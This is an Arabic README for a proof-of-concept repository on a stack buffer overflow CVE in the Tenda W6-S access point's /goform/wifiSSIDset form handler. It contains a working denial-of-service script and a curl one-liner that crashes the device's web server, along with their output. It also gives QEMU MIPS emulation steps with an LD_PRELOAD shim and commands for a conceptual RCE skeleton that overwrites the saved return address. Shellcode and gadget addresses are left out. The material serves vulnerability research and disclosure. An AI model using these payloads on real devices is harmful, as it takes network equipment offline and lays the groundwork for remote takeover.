
إثبات المفهوم (PoC) لثغرة تجاوز سعة المكدس CVE-2026-67822 في جهاز Tenda W6-S عبر /goform/wifiSSIDset: أداة إعادة إنتاج لحرمان الخدمة (DoS)، وطبقة محاكاة QEMU MIPS، وهيكل حمولة تنفيذ تعليمات برمجية عن بُعد (RCE) مفاهيمي.
wifiSSIDset لجهاز Tenda W6-S (PoC)إثبات المفهوم (PoC) المرافق لمقالة Hunt-Benito
"GO Without Bounds: CVE-2026-67822 — Stack Overflow in Tenda W6-S's wifiSSIDset Form Handler".
CVE-2026-67822 (درجة خطورة CVSS 9.8 حرجة، CWE-121) هو تجاوز سعة مخزن مؤقت قائم على المكدس
في formwrlSSIDset()، وهي دالة C تقف خلف نقطة النهاية /goform/wifiSSIDset من
خادم /bin/httpd الخاص بنقطة الوصول اللاسلكية Tenda W6-S (خادم ويب مشتق من GoAhead).
char v34[64]; /* 64-byte stack buffer */
GO = websGetVar(a1, "GO", "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index); /* unbounded -> stack overflow */
التأثير المؤكد: رفض الخدمة (انهيار httpd).
التأثير المحتمل: تنفيذ تعليمات برمجية عن بُعد (معمارية MIPS، بدون حارس مكدس (stack canary) / بدون ASLR في نسخة البناء).
ضد جهاز W6-S حقيقي (عنوان IP الافتراضي للشبكة المحلية 192.168.5.10) أو مثيل مُحاكى:
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.
المكافئ في سطر واحد:
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
-d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"
بعد عودة الطلب، تظل واجهة الإدارة معطلة حتى إعادة تشغيل الطاقة (power-cycle).
fake_apmib.so)يتوقع /bin/httpd وجود شرائح Tenda الحقيقية (libapmib.so، خدمة cfmd، وعنوان MAC للشبكة المحلية). يحاكي وسيط fake_apmib.c القدر الكافي فقط من هذه المكونات للسماح لـ httpd بالإقلاع داخل نظام ملفات البرنامج الثابت المُحاكى. ويحاكي هذا الإعداد أسلوب الباحث الأصلي.
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0
$ sudo qemu-system-mips -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet \
-nographic
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz [email protected]:/root/
$ scp ./fake_apmib.so [email protected]:/root/squashfs-root/
httpd مع الوسيطguest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &
أصبحت واجهة الإدارة الآن قابلة للوصول عبر http://192.168.5.10
(بيانات الدخول الافتراضية admin / admin)، ويعمل poc_dos.py ضدها تمامًا
كما يعمل ضد العتاد الحقيقي.
تختلف التوقيعات (prototypes) الدقيقة لدوال المساعدة الداخلية
apmib/cfmdلدى Tenda بين إصدارات البرامج الثابتة. تحقق منها مقابلlibapmib.soالحقيقي على هدفك (objdump -T libapmib.so/ IDA) وعدّلfake_apmib.cحسب الحاجة.
يوثّق exploit_conceptual.py بنية الاستغلال فيما يتجاوز رفض الخدمة:
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
# feed it to cyclic_offset() to recover the exact offset)
# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>
لا يعيد هذا الهيكل توجيه سوى $ra. تحويل الاختطاف إلى تنفيذ تعليمات فعلي يتطلب إما shellcode لمكدس غير محمي بـ NX أو سلسلة ROP مُجمّعة من أجزاء تعليمات (gadgets) في صورة البرنامج الثابت المحددة — وكلاهما خاص بنسخة البناء ومتروك عمدًا للباحث. رفض الخدمة مؤكد؛ أما تنفيذ التعليمات عن بُعد فهو أسوأ الحالات المحتملة التي يعكسها متجه CVSS (C:H/I:H).
هذا الكود مخصص لأبحاث الأمن المصرَّح بها فقط. شغّله حصريًا ضد الأجهزة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها. لا تستخدمه ضد شبكات أو عتاد لا تتحكم فيه.
| المنتج المتأثر | نقطة الوصول اللاسلكية Tenda W6-S |
| البرنامج الثابت المتأثر | v1.0.0.4(510) |
| درجة CVSS v3.1 | 9.8 حرجة (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-121 (تجاوز سعة المخزن المؤقت القائم على المكدس) |
| نقطة النهاية المعرّضة للثغرة | POST /goform/wifiSSIDset (المعلّمات GO وindex) |
| المكتشف / الإشادة | trister |
| الملف | الغرض |
|---|
poc_dos.py | مُعيد إنتاج مؤكد لثغرة رفض الخدمة. يرسل معلّمة GO بحجم يفوق الحد ويكتشف انهيار httpd الناتج. المكتبة القياسية فقط — بدون تبعيات. |
exploit_conceptual.py | هيكل استغلال مفاهيمي لتنفيذ التعليمات عن بُعد (RCE). يوضّح شكل اختطاف تدفق التنفيذ (الحشو حتى موضع $ra المحفوظ ثم الكتابة فوقه) وأداة مساعدة للأنماط الدورية (cyclic patterns) لاستنتاج الإزاحة حتى $ra تجريبيًا. لا يتضمن shellcode جاهزًا للعمل ولا عناوين gadgets. |
fake_apmib.c | وسيط LD_PRELOAD يحاكي استدعاءات عتاد/MIB الخاصة بـ Tenda ليتمكن /bin/httpd من الإقلاع داخل ضيف QEMU MIPS — وهي التقنية المستخدمة لإعادة إنتاج الثغرة دون جهاز مادي. |
| الاستدعاء المُعترَض | القيمة المُرجَعة | السبب |
|---|
apmib_init() | 1 | تخطّي تهيئة العتاد/MIB |
ConnectCfm() | 1 | محاكاة استجابة خدمة cfmd |
GetValue("lan.ip", …) | 192.168.5.10 | عنوان IP إداري ثابت |
ioctl(SIOCGIFHWADDR) | 00:11:22:33:44:55 | عنوان MAC وهمي |
connect() | تمرير مباشر | تمرير اتصالات المقابس المحلية/بروتوكول TCP وحلّها |